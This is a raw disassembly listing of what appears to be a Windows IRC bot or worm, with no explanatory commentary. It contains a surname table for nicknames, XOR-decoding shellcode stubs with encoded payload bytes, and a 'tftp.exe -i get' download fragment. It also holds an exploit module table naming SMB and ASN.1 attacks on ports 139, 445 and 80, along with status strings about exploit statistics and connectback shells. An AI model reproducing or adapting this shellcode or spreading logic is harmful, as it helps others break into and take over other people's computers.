'D',27h,'arcangelo',0 ; DATA XREF: ___:0042DA14o aDapice db 'Dapice',0 ; DATA XREF: ___:0042DA10o align 10h aDante db 'Dante',0 ; DATA XREF: ___:0042DA0Co align 4 aDanieli db 'Danieli',0 ; DATA XREF: ___:0042DA08o aDAmbra db 'D',27h,'Ambra',0 ; DATA XREF: ___:0042DA04o aDaly db 'Daly',0 ; DATA XREF: ___:0042DA00o align 10h aDaldalian db 'Daldalian',0 ; DATA XREF: ___:0042D9FCo align 4 aDasilva db 'daSilva',0 ; DATA XREF: ___:0042D9F8o aCyders db 'Cyders',0 ; DATA XREF: ___:0042D9F4o align 4 aCvek db 'Cvek',0 ; DATA XREF: ___:0042D9F0o align 4 aCutler db 'Cutler',0 ; DATA XREF: ___:0042D9ECo align 4 aCurrier db 'Currier',0 ; DATA XREF: ___:0042D9E8o aCui db 'Cui',0 ; DATA XREF: ___:0042D9E4o aCroxton db 'Croxton',0 ; DATA XREF: ___:0042D9E0o aCroxen db 'Croxen',0 ; DATA XREF: ___:0042D9DCo align 4 aCroshaw db 'Croshaw',0 ; DATA XREF: ___:0042D9D8o aCrocker db 'Crocker',0 ; DATA XREF: ___:0042D9D4o aCrawford db 'Crawford',0 ; DATA XREF: ___:0042D9D0o align 4 aCoutaux db 'Coutaux',0 ; DATA XREF: ___:0042D9CCo aCounter db 'Counter',0 ; DATA XREF: ___:0042D9C8o aCosmides db 'Cosmides',0 ; DATA XREF: ___:0042D9C4o align 10h aCornish db 'Cornish',0 ; DATA XREF: ___:0042D9C0o aCorey db 'Corey',0 ; DATA XREF: ___:0042D9BCo align 10h aConnors db 'Connors',0 ; DATA XREF: ___:0042D9B8o aCondodina db 'Condodina',0 ; DATA XREF: ___:0042D9B4o align 4 aConcino db 'Concino',0 ; DATA XREF: ___:0042D9B0o aComstock db 'Comstock',0 ; DATA XREF: ___:0042D9ACo align 4 aCompton db 'Compton',0 ; DATA XREF: ___:0042D9A4o ; ___:0042D9A8o aCollis db 'Collis',0 ; DATA XREF: ___:0042D9A0o align 4 aCollard db 'Collard',0 ; DATA XREF: ___:0042D99Co aColella db 'Colella',0 ; DATA XREF: ___:0042D998o aColdren db 'Coldren',0 ; DATA XREF: ___:0042D994o aCoito db 'Coito',0 ; DATA XREF: ___:0042D990o align 4 aCoblenz db 'Coblenz',0 ; DATA XREF: ___:0042D98Co aClow db 'Clow',0 ; DATA XREF: ___:0042D988o align 4 aClifton db 'Clifton',0 ; DATA XREF: ___:0042D984o aClement db 'Clement',0 ; DATA XREF: ___:0042D980o aClark db 'Clark',0 ; DATA XREF: ___:0042D97Co align 10h aClancy db 'Clancy',0 ; DATA XREF: ___:0042D978o align 4 aClaffey db 'Claffey',0 ; DATA XREF: ___:0042D974o aCifarelli db 'Cifarelli',0 ; DATA XREF: ___:0042D970o align 4 aCicero db 'Cicero',0 ; DATA XREF: ___:0042D96Co align 4 aCiampaglia db 'Ciampaglia',0 ; DATA XREF: ___:0042D968o align 10h aChurch db 'Church',0 ; DATA XREF: ___:0042D964o align 4 aChupasko db 'Chupasko',0 ; DATA XREF: ___:0042D960o align 4 aChu db 'Chu',0 ; DATA XREF: ___:0042D95Co aChristopher db 'Christopher',0 ; DATA XREF: ___:0042D958o aChristie db 'Christie',0 ; DATA XREF: ___:0042D954o align 10h aChristiano db 'Christiano',0 ; DATA XREF: ___:0042D950o align 4 aChristian db 'Christian',0 ; DATA XREF: ___:0042D94Co align 4 aChristenson db 'Christenson',0 ; DATA XREF: ___:0042D948o aChinman db 'Chinman',0 ; DATA XREF: ___:0042D944o aChinipardaz db 'Chinipardaz',0 ; DATA XREF: ___:0042D940o aChilds db 'Childs',0 ; DATA XREF: ___:0042D93Co align 10h aChildress db 'Childress',0 ; DATA XREF: ___:0042D938o align 4 aChien db 'Chien',0 ; DATA XREF: ___:0042D934o align 4 aChiassino db 'Chiassino',0 ; DATA XREF: ___:0042D930o align 10h aChervinsky db 'Chervinsky',0 ; DATA XREF: ___:0042D92Co align 4 aCherry db 'Cherry',0 ; DATA XREF: ___:0042D928o align 4 aCheang db 'Cheang',0 ; DATA XREF: ___:0042D924o align 4 aCharles db 'Charles',0 ; DATA XREF: ___:0042D920o aChapman db 'Chapman',0 ; DATA XREF: ___:0042D91Co aCerioli db 'Cerioli',0 ; DATA XREF: ___:0042D918o aCeniceros db 'Ceniceros',0 ; DATA XREF: ___:0042D914o align 10h aCavell db 'Cavell',0 ; DATA XREF: ___:0042D910o align 4 aCavanagh db 'Cavanagh',0 ; DATA XREF: ___:0042D90Co align 4 aCastelda db 'Castelda',0 ; DATA XREF: ___:0042D908o align 10h aCaspar db 'Caspar',0 ; DATA XREF: ___:0042D904o align 4 aCase db 'Case',0 ; DATA XREF: ___:0042D900o align 10h aCascio db 'Cascio',0 ; DATA XREF: ___:0042D8FCo align 4 aCartmill db 'Cartmill',0 ; DATA XREF: ___:0042D8F8o align 4 aCarper db 'Carper',0 ; DATA XREF: ___:0042D8F4o align 4 aCaroti db 'Caroti',0 ; DATA XREF: ___:0042D8F0o align 4 aCarmichael db 'Carmichael',0 ; DATA XREF: ___:0042D8ECo align 10h aCarlyle db 'Carlyle',0 ; DATA XREF: ___:0042D8E8o aCarlos db 'Carlos',0 ; DATA XREF: ___:0042D8E4o align 10h aCarlin db 'Carlin',0 ; DATA XREF: ___:0042D8E0o align 4 aCarayannopoulo db 'Carayannopoulos',0 ; DATA XREF: ___:0042D8DCo aCaratozzolo db 'Caratozzolo',0 ; DATA XREF: ___:0042D8D8o aCapursi db 'Capursi',0 ; DATA XREF: ___:0042D8D4o aCappuccio db 'Cappuccio',0 ; DATA XREF: ___:0042D8D0o align 4 aCapodilupo db 'Capodilupo',0 ; DATA XREF: ___:0042D8CCo align 4 aCapocaccia db 'Capocaccia',0 ; DATA XREF: ___:0042D8C8o align 10h aCaperton db 'Caperton',0 ; DATA XREF: ___:0042D8C4o align 4 aCapanni db 'Capanni',0 ; DATA XREF: ___:0042D8C0o aCanley db 'Canley',0 ; DATA XREF: ___:0042D8BCo align 4 aCammilleri db 'Cammilleri',0 ; DATA XREF: ___:0042D8B8o align 4 aCammelli db 'Cammelli',0 ; DATA XREF: ___:0042D8B4o align 4 aCalnan db 'Calnan',0 ; DATA XREF: ___:0042D8B0o align 4 aCage db 'Cage',0 ; DATA XREF: ___:0042D8ACo align 4 aByrd db 'Byrd',0 ; DATA XREF: ___:0042D8A8o align 4 aByerly db 'Byerly',0 ; DATA XREF: ___:0042D8A4o align 4 aByatt db 'Byatt',0 ; DATA XREF: ___:0042D8A0o align 4 aBusetta db 'Busetta',0 ; DATA XREF: ___:0042D89Co aBurridge db 'Burridge',0 ; DATA XREF: ___:0042D898o align 10h aBurke db 'Burke',0 ; DATA XREF: ___:0042D894o align 4 aBurdzy db 'Burdzy',0 ; DATA XREF: ___:0042D890o align 10h aBurden db 'Burden',0 ; DATA XREF: ___:0042D88Co align 4 aBunton db 'Bunton',0 ; DATA XREF: ___:0042D888o align 10h aBullard db 'Bullard',0 ; DATA XREF: ___:0042D884o aBudding db 'Budding',0 ; DATA XREF: ___:0042D880o aBuchan db 'Buchan',0 ; DATA XREF: ___:0042D87Co align 4 aBrzycki db 'Brzycki',0 ; DATA XREF: ___:0042D878o aBrook db 'Brook',0 ; DATA XREF: ___:0042D874o align 4 aBroca db 'Broca',0 ; DATA XREF: ___:0042D870o align 10h aBritz db 'Britz',0 ; DATA XREF: ___:0042D86Co align 4 aBrinton db 'Brinton',0 ; DATA XREF: ___:0042D868o aBridges db 'Bridges',0 ; DATA XREF: ___:0042D864o aBridgeman db 'Bridgeman',0 ; DATA XREF: ___:0042D860o align 4 aBrewer db 'Brewer',0 ; DATA XREF: ___:0042D858o ; ___:0042D85Co align 4 aBrennan db 'Brennan',0 ; DATA XREF: ___:0042D854o aBrenan db 'Brenan',0 ; DATA XREF: ___:0042D850o align 4 aBreed db 'Breed',0 ; DATA XREF: ___:0042D84Co align 4 aBrecht db 'Brecht',0 ; DATA XREF: ___:0042D848o align 4 aBradach db 'Bradach',0 ; DATA XREF: ___:0042D844o aBradac db 'Bradac',0 ; DATA XREF: ___:0042D840o align 4 aBracalente db 'Bracalente',0 ; DATA XREF: ___:0042D83Co align 4 aBoyne db 'Boyne',0 ; DATA XREF: ___:0042D838o align 10h aBoym db 'Boym',0 ; DATA XREF: ___:0042D834o align 4 aBoyland db 'Boyland',0 ; DATA XREF: ___:0042D830o aBoyes db 'Boyes',0 ; DATA XREF: ___:0042D82Co align 4 aBoyajian db 'Boyajian',0 ; DATA XREF: ___:0042D828o align 4 aBoxer db 'Boxer',0 ; DATA XREF: ___:0042D824o align 4 aBowers db 'Bowers',0 ; DATA XREF: ___:0042D820o align 4 aBourneuf db 'Bourneuf',0 ; DATA XREF: ___:0042D81Co align 10h aBoudrot db 'Boudrot',0 ; DATA XREF: ___:0042D818o aBoudin db 'Boudin',0 ; DATA XREF: ___:0042D814o align 10h aBotosh db 'Botosh',0 ; DATA XREF: ___:0042D810o align 4 aBothman db 'Bothman',0 ; DATA XREF: ___:0042D80Co aBossi db 'Bossi',0 ; DATA XREF: ___:0042D808o align 4 aBorden db 'Borden',0 ; DATA XREF: ___:0042D804o align 10h aBorack db 'Borack',0 ; DATA XREF: ___:0042D800o align 4 aBoorstin db 'Boorstin',0 ; DATA XREF: ___:0042D7FCo align 4 aBoone db 'Boone',0 ; DATA XREF: ___:0042D7F8o align 4 aBookbinder db 'Bookbinder',0 ; DATA XREF: ___:0042D7F4o align 4 aBook db 'Book',0 ; DATA XREF: ___:0042D7F0o align 10h aBontempo db 'Bontempo',0 ; DATA XREF: ___:0042D7ECo align 4 aBoniface db 'Boniface',0 ; DATA XREF: ___:0042D7E8o align 4 aBonham db 'Bonham',0 ; DATA XREF: ___:0042D7E4o align 10h aBoner db 'Boner',0 ; DATA XREF: ___:0042D7E0o align 4 aBologna db 'Bologna',0 ; DATA XREF: ___:0042D7DCo aBollinger db 'Bollinger',0 ; DATA XREF: ___:0042D7D8o align 4 aBolick db 'Bolick',0 ; DATA XREF: ___:0042D7D4o align 4 aBolger db 'Bolger',0 ; DATA XREF: ___:0042D7D0o align 4 aBlyth db 'Blyth',0 ; DATA XREF: ___:0042D7CCo align 4 aBloxham db 'Bloxham',0 ; DATA XREF: ___:0042D7C8o aBloemhof db 'Bloemhof',0 ; DATA XREF: ___:0042D7C4o align 4 aBloembergen db 'Bloembergen',0 ; DATA XREF: ___:0042D7C0o aBloch db 'Bloch',0 ; DATA XREF: ___:0042D7BCo align 4 aBlizard db 'Blizard',0 ; DATA XREF: ___:0042D7B8o aBliss db 'Bliss',0 ; DATA XREF: ___:0042D7B4o align 4 aBlanke db 'Blanke',0 ; DATA XREF: ___:0042D7B0o align 4 aBlakemore db 'Blakemore',0 ; DATA XREF: ___:0042D7ACo align 10h aBlagg db 'Blagg',0 ; DATA XREF: ___:0042D7A8o align 4 aBlackwell db 'Blackwell',0 ; DATA XREF: ___:0042D7A4o align 4 aBlackbourn db 'Blackbourn',0 ; DATA XREF: ___:0042D7A0o align 10h aBisho db 'Bisho',0 ; DATA XREF: ___:0042D79Co align 4 aBisema db 'Bisema',0 ; DATA XREF: ___:0042D798o align 10h aBir db 'Bir',0 ; DATA XREF: ___:0042D794o aBinion db 'Binion',0 ; DATA XREF: ___:0042D790o align 4 aBickel db 'Bickel',0 ; DATA XREF: ___:0042D78Co align 4 aBiagioli db 'Biagioli',0 ; DATA XREF: ___:0042D788o align 10h aBeynart db 'Beynart',0 ; DATA XREF: ___:0042D784o aBetti db 'Betti',0 ; DATA XREF: ___:0042D780o align 10h aBerrizbeitia db 'Berrizbeitia',0 ; DATA XREF: ___:0042D77Co align 10h aBernston db 'Bernston',0 ; DATA XREF: ___:0042D778o align 4 aBernassola db 'Bernassola',0 ; DATA XREF: ___:0042D774o align 4 aBernardo db 'Bernardo',0 ; DATA XREF: ___:0042D770o align 4 aBerkeJenkins db 'Berke-Jenkins',0 ; DATA XREF: ___:0042D76Co align 4 aBergson db 'Bergson',0 ; DATA XREF: ___:0042D768o aBenedictDye db 'Benedict-Dye',0 ; DATA XREF: ___:0042D764o align 4 aBelloc db 'Belloc',0 ; DATA XREF: ___:0042D760o align 4 aBellini db 'Bellini',0 ; DATA XREF: ___:0042D75Co aBellhouse db 'Bellhouse',0 ; DATA XREF: ___:0042D758o align 4 aBellavance db 'Bellavance',0 ; DATA XREF: ___:0042D754o align 4 aBelinCollart db 'Belin-Collart',0 ; DATA XREF: ___:0042D750o align 4 aBelfer db 'Belfer',0 ; DATA XREF: ___:0042D74Co align 4 aBelaoussof db 'Belaoussof',0 ; DATA XREF: ___:0042D748o align 4 aBelanger db 'Belanger',0 ; DATA XREF: ___:0042D744o align 4 aBehenna db 'Behenna',0 ; DATA XREF: ___:0042D740o aBedford db 'Bedford',0 ; DATA XREF: ___:0042D73Co aBeder db 'Beder',0 ; DATA XREF: ___:0042D738o align 4 aBeckman db 'Beckman',0 ; DATA XREF: ___:0042D734o aBean db 'Bean',0 ; DATA XREF: ___:0042D730o align 4 aBeal db 'Beal',0 ; DATA XREF: ___:0042D72Co align 4 aBeacon db 'Beacon',0 ; DATA XREF: ___:0042D728o align 4 aBayo db 'Bayo',0 ; DATA XREF: ___:0042D724o align 4 aBayles db 'Bayles',0 ; DATA XREF: ___:0042D720o align 4 aBaumiller db 'Baumiller',0 ; DATA XREF: ___:0042D71Co align 4 aBatchelder db 'Batchelder',0 ; DATA XREF: ___:0042D718o align 4 aBashevis db 'Bashevis',0 ; DATA XREF: ___:0042D714o align 10h aBasavappa db 'Basavappa',0 ; DATA XREF: ___:0042D710o align 4 aBartoo db 'Bartoo',0 ; DATA XREF: ___:0042D70Co align 4 aBartolome db 'Bartolome',0 ; DATA XREF: ___:0042D708o align 10h aBartholomew db 'Bartholomew',0 ; DATA XREF: ___:0042D704o aBarry db 'Barry',0 ; DATA XREF: ___:0042D700o align 4 aBarriola db 'Barriola',0 ; DATA XREF: ___:0042D6FCo align 10h aBarnett db 'Barnett',0 ; DATA XREF: ___:0042D6F8o aBarneson db 'Barneson',0 ; DATA XREF: ___:0042D6F4o align 4 aBarbetti db 'Barbetti',0 ; DATA XREF: ___:0042D6F0o align 10h aBarberi db 'Barberi',0 ; DATA XREF: ___:0042D6ECo aBaranowska db 'Baranowska',0 ; DATA XREF: ___:0042D6E8o align 4 aBaranczak db 'Baranczak',0 ; DATA XREF: ___:0042D6E4o align 10h aBarajas db 'Barajas',0 ; DATA XREF: ___:0042D6E0o aBarabesi db 'Barabesi',0 ; DATA XREF: ___:0042D6DCo align 4 aBanta db 'Banta',0 ; DATA XREF: ___:0042D6D8o align 4 aBaltz db 'Baltz',0 ; DATA XREF: ___:0042D6D4o align 4 aBallew db 'Ballew',0 ; DATA XREF: ___:0042D6D0o align 4 aBallatori db 'Ballatori',0 ; DATA XREF: ___:0042D6CCo align 4 aBaleja db 'Baleja',0 ; DATA XREF: ___:0042D6C8o align 10h aBakanowsky db 'Bakanowsky',0 ; DATA XREF: ___:0042D6C4o align 4 aBailar db 'Bailar',0 ; DATA XREF: ___:0042D6C0o align 4 aBagnold db 'Bagnold',0 ; DATA XREF: ___:0042D6BCo aBaglivo db 'Baglivo',0 ; DATA XREF: ___:0042D6B8o aBady db 'Bady',0 ; DATA XREF: ___:0042D6B4o align 4 aBackus db 'Backus',0 ; DATA XREF: ___:0042D6B0o align 4 aBachmuth db 'Bachmuth',0 ; DATA XREF: ___:0042D6ACo align 10h aAzima db 'Azima',0 ; DATA XREF: ___:0042D6A8o align 4 aAyling db 'Ayling',0 ; DATA XREF: ___:0042D6A4o align 10h aAykroyd db 'Aykroyd',0 ; DATA XREF: ___:0042D6A0o aAyiemba db 'Ayiemba',0 ; DATA XREF: ___:0042D69Co aAxworthy db 'Axworthy',0 ; DATA XREF: ___:0042D698o align 4 aAxelrod db 'Axelrod',0 ; DATA XREF: ___:0042D694o aAurelius db 'Aurelius',0 ; DATA XREF: ___:0042D690o align 10h aAugustus db 'Augustus',0 ; DATA XREF: ___:0042D68Co align 4 aAtkins db 'Atkins',0 ; DATA XREF: ___:0042D688o align 4 aArky db 'Arky',0 ; DATA XREF: ___:0042D684o align 4 aArjas db 'Arjas',0 ; DATA XREF: ___:0042D680o align 4 aAristotle db 'Aristotle',0 ; DATA XREF: ___:0042D67Co align 10h aArellano db 'Arellano',0 ; DATA XREF: ___:0042D678o align 4 aArduini db 'Arduini',0 ; DATA XREF: ___:0042D674o aArbia db 'Arbia',0 ; DATA XREF: ___:0042D670o align 4 aAntos db 'Antos',0 ; DATA XREF: ___:0042D66Co align 4 aAnthony db 'Anthony',0 ; DATA XREF: ___:0042D668o aAnsley db 'Ansley',0 ; DATA XREF: ___:0042D664o align 4 aAnfinrud db 'Anfinrud',0 ; DATA XREF: ___:0042D660o align 10h aAndron db 'Andron',0 ; DATA XREF: ___:0042D65Co align 4 aAndrelus db 'Andrelus',0 ; DATA XREF: ___:0042D658o align 4 aAndo db 'Ando',0 ; DATA XREF: ___:0042D654o align 4 aAndel db 'Andel',0 ; DATA XREF: ___:0042D650o align 4 aAnand db 'Anand',0 ; DATA XREF: ___:0042D64Co align 4 aAmsden db 'Amsden',0 ; DATA XREF: ___:0042D648o align 4 aAmeer db 'Ameer',0 ; DATA XREF: ___:0042D644o align 4 aAmatangelo db 'Amatangelo',0 ; DATA XREF: ___:0042D640o align 4 aAmaral db 'Amaral',0 ; DATA XREF: ___:0042D63Co align 10h aAltenhofen db 'Altenhofen',0 ; DATA XREF: ___:0042D638o align 4 aAltenberger db 'Altenberger',0 ; DATA XREF: ___:0042D634o aAltavilla db 'Altavilla',0 ; DATA XREF: ___:0042D630o align 4 aAlongi db 'Alongi',0 ; DATA XREF: ___:0042D62Co align 4 aAllison db 'Allison',0 ; DATA XREF: ___:0042D628o aAleks db 'Aleks',0 ; DATA XREF: ___:0042D624o align 4 aAlda db 'Alda',0 ; DATA XREF: ___:0042D620o align 4 aAlcorn db 'Alcorn',0 ; DATA XREF: ___:0042D61Co align 4 aAlavi db 'Alavi',0 ; DATA XREF: ___:0042D618o align 4 aAhlers db 'Ahlers',0 ; DATA XREF: ___:0042D614o align 4 aAdorno db 'Adorno',0 ; DATA XREF: ___:0042D610o align 4 aAdibe db 'Adibe',0 ; DATA XREF: ___:0042D60Co align 4 aAdelstein db 'Adelstein',0 ; DATA XREF: ___:0042D608o align 4 aAddison db 'Addison',0 ; DATA XREF: ___:off_42D604o aAdams db 'Adams',0 ; DATA XREF: ___:0042D600o align 4 aAckerman db 'Ackerman',0 ; DATA XREF: ___:0042D5FCo align 4 aAbdulrazak db 'Abdulrazak',0 ; DATA XREF: ___:off_42D5F8o align 10h byte_431250 db 50h ; DATA XREF: ___:0040ADEFo ; ___:0040ADFCr db 43h, 2 dup(0) dword_431254 dd 7C7325h ; DATA XREF: ___:0040AE9Ao dword_431258 dd 5D73255Bh, 7Ch ; DATA XREF: ___:0040AFA4o dword_431260 dd 3F3F3Fh ; DATA XREF: ___:loc_40AF9Bo ; sub_41AA42:loc_41AB05o dword_431264 dd 334B32h ; DATA XREF: ___:0040AF94o dword_431268 dd 5058h ; DATA XREF: ___:0040AF86o ; sub_41AA42+AAo dword_43126C dd 4B32h ; DATA XREF: ___:0040AF76o ; sub_41AA42+98o dword_431270 dd 454Dh ; DATA XREF: ___:0040AF5Do ; sub_41AA42+7Eo dword_431274 dd 3839h ; DATA XREF: ___:0040AF4Do ; sub_41AA42+6Co dword_431278 dd 544Eh ; DATA XREF: ___:0040AF3Do ; sub_41AA42+5Ao dword_43127C dd 3539h ; DATA XREF: ___:0040AF2Fo ; sub_41AA42+46o dword_431280 dd 5D64255Bh, 7325h ; DATA XREF: sub_40AFEA+3Ao dword_431288 dd 5D4D5Bh ; DATA XREF: sub_40AFEA+2Co ; sub_40AFEA+57o aMirc_0 db 'mIRC',0 ; DATA XREF: sub_40AFEA+18o ; sub_418211+5o align 4 jmp short loc_431298 ; --------------------------------------------------------------------------- loc_431296: ; CODE XREF: ___:loc_431298p jmp short loc_43129D ; --------------------------------------------------------------------------- loc_431298: ; CODE XREF: ___:00431294j call loc_431296 loc_43129D: ; CODE XREF: ___:loc_431296j pop ebx xor ecx, ecx mov cx, 0FFFFh loc_4312A4: ; CODE XREF: ___:004312A9j xor byte ptr [ebx+0Eh], 0FFh inc ebx loop loc_4312A4 add bl, ch add ch, bl add eax, 0FFFFF9E8h call fword ptr [ebx+31h] leave mov cl, 0FFh loc_4312BA: ; CODE XREF: ___:004312BFj xor byte ptr [ebx+0Ch], 0FFh inc ebx loop loc_4312BA ; --------------------------------------------------------------------------- db 3 dup(0) dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h dd 12h aTftp_exeIGet db 'tftp.exe -i get ',0 ; --------------------------------------------------------------------------- push 0 call sub_43135C jnz short loc_431348 retn ; --------------------------------------------------------------------------- loc_431348: ; CODE XREF: ___:00431345j ; ___:00431355j call near ptr loc_43134D+1 loc_43134D: ; CODE XREF: ___:loc_431348p add [edx+0], ch call sub_43135C jz loc_431348 retn ; =============== S U B R O U T I N E ======================================= sub_43135C proc near ; CODE XREF: ___:00431340p ; ___:00431350p pop eax pop ebx pop ebp push eax sub esp, 54h xor eax, eax mov edi, esp lea ecx, [eax+40h] mov edx, edi rep stosb mov al, 44h stosd push edi push edx push ecx push ecx push 28h push 1 push ecx push ecx push ebp push ebx call esi add esp, 54h test eax, eax retn sub_43135C endp ; --------------------------------------------------------------------------- align 4 dd 234032Dh, 65726874h, 6C206461h, 2747369h, 202D03h aSNoSThreadFoun db '%s No %s thread found.',0 ; DATA XREF: sub_40B384+51o align 4 aSSStopped_DThr db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40B384+35o align 10h aSym db 'sym',0 ; DATA XREF: sub_40C124+169o dd 0 db 2 dup(0) aSymantec db 'Symantec',0 ; DATA XREF: sub_40B7DA+30o align 4 dd 5 dup(0) dword_431408 dd 0B97h ; DATA XREF: sub_401ACD+1DA0r ; sub_401ACD+1DC9o ... off_43140C dd offset sub_40E0D0 ; DATA XREF: sub_40C124+1EAr dword_431410 dd 0 ; DATA XREF: sub_40B64A+2Eo ; ___:0040D495w ... dword_431414 dd 1 ; DATA XREF: sub_40BACD+1Fr dword_431418 dd 1 ; DATA XREF: sub_40BACD+3B3r dword_43141C dd 0 ; DATA XREF: sub_40BACD+292r dd 636E76h, 0 dd 6E760000h, 63h, 6 dup(0) dd 170Ch, 40E206h, 0 dd 2 dup(1), 0 aNet139 db 'net139',0 align 4 dd 654E0000h, 69706174h, 393331h, 5 dup(0) dd 8Bh, 40DF8Eh, 0 dd 2 dup(1), 0 aNet445 db 'net445',0 align 4 dd 654E0000h, 69706174h, 353434h, 5 dup(0) dd 1BDh, 40DF8Eh, 0 dd 2 dup(1), 0 aAsn80 db 'asn80',0 align 4 dd 53410000h, 2D312E4Eh, 50545448h, 5 dup(0) dd 50h, 40D2D9h, 0 dd 2 dup(1), 0 aAsn445 db 'asn445',0 align 4 dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0) dd 1BDh, 40D2D9h, 0 dd 2 dup(1), 0 aAsn139 db 'asn139',0 align 4 dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0) dd 8Bh, 40D2D9h, 0 dd 2 dup(1), 2 dup(0) dd 10100h, 0Eh dup(0) aAsn445_0 db 'asn445',0 align 4 db 2 dup(0) byte_4315EA db 1 ; DATA XREF: sub_401ACD:loc_4037E6r ; sub_401ACD+1D23o db 73h dd 6D79h, 0 dd 100h, 3 dup(0) ; --------------------------------------------------------------------------- jmp short loc_431616 ; =============== S U B R O U T I N E ======================================= sub_431606 proc near ; CODE XREF: sub_431606:loc_431616p pop edx dec edx xor ecx, ecx mov cx, 166h loc_43160E: ; CODE XREF: sub_431606+Cj xor byte ptr [edx+ecx], 99h loop loc_43160E jmp short loc_43161B ; --------------------------------------------------------------------------- loc_431616: ; CODE XREF: ___:00431604j call sub_431606 loc_43161B: ; CODE XREF: sub_431606+Ej jo short near ptr dword_4315A4+12h cwde cdq cdq retn sub_431606 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 21h, 95h, 69h dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h, 0EF126A9Ah dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh, 0C7C6C070h dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh, 0CA98F36Dh dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h dd 0FAF899F7h, 0EDE9FCFAh, 99h aTotalDInS_ db ' Total: %d in %s.',0 ; DATA XREF: sub_40B64A+86o align 4 dword_431798 dd 25370320h, 203A0373h, 2C6425h ; DATA XREF: sub_40B64A+46o unk_4317A4 db 2Dh ; - ; DATA XREF: sub_40B64A+11o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aExploitStatist db 'Exploit Statistics:',0 unk_4317C4 db 2Dh ; - ; DATA XREF: sub_40B719+38o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h db 54h ; T db 72h, 61h, 6Eh db 73h ; s db 66h, 65h, 72h db 20h db 53h, 74h, 61h db 74h ; t db 69h, 73h, 74h db 69h ; i db 63h, 73h, 3Ah db 20h db 2, 54h, 46h db 54h ; T db 50h, 2, 3Ah db 20h db 25h, 64h, 2Ch db 20h db 2, 46h, 54h db 50h ; P db 2, 3Ah, 20h aDTotalDInS_ db '%d, Total %d in %s.',0 unk_43180C db 2Dh ; - ; DATA XREF: sub_40B785+22o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aDConnectbackSh db '%d connectback shells in %s.',0 align 4 aScanTimeS_ db ' Scan Time: %s.',0 ; DATA XREF: sub_40B7DA+7Fo dword_431848 dd 25370320h, 28200373h, 73253403h, 2C2903h ; DATA XREF: sub_40B7DA+40o dword_431858 dd 234032Dh, 6E616373h, 202D0302h, 6C707845h, 2074696Fh ; DATA XREF: sub_40B7DA+14o dd 7473694Ch, 3Ah unk_431874 db 2Dh ; - ; DATA XREF: ___:0040BA13o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aFinishedExploi db '- finished exploiting %s (%d attempts)',0 unk_4318A8 db 2Dh ; - ; DATA XREF: ___:0040B921o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 db 2Dh, 20h, 74h db 72h ; r db 79h, 69h, 6Eh db 67h ; g db 20h, 2, 25h db 73h ; s db 2, 20h, 6Fh aNSPortD___ db 'n %s (port %d)...',0 align 4 unk_4318D8 db 2Dh ; - ; DATA XREF: sub_40BA56+42o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanNotActive_ db 'Scan not active.',0 align 4 unk_4318F8 db 2Dh ; - ; DATA XREF: sub_40BA56+2Co db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aCurrentIpS_ db 'Current IP: %s.',0 unk_431914 db 2Dh ; - ; DATA XREF: sub_40BACD+4B7o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_33 db ' Failed to start server, error: <%d>.',0 align 4 unk_431948 db 2Dh ; - ; DATA XREF: sub_40BACD+38Fo db 3, 34h, 2 db 63h ; c db 6Fh, 2 dup(6Eh) db 65h ; e db 63h, 74h, 62h db 61h ; a db 63h, 6Bh, 2 db 3 aFailedToSta_34 db '- Failed to start server, error: <%d>.',0 unk_431980 db 2Dh ; - ; DATA XREF: sub_40BACD+321o db 3, 34h, 2 db 63h ; c db 6Fh, 2 dup(6Eh) db 65h ; e db 63h, 74h, 62h db 61h ; a db 63h, 6Bh, 2 db 3 aServerStarte_2 db '- Server started on Port: %d.',0 align 10h 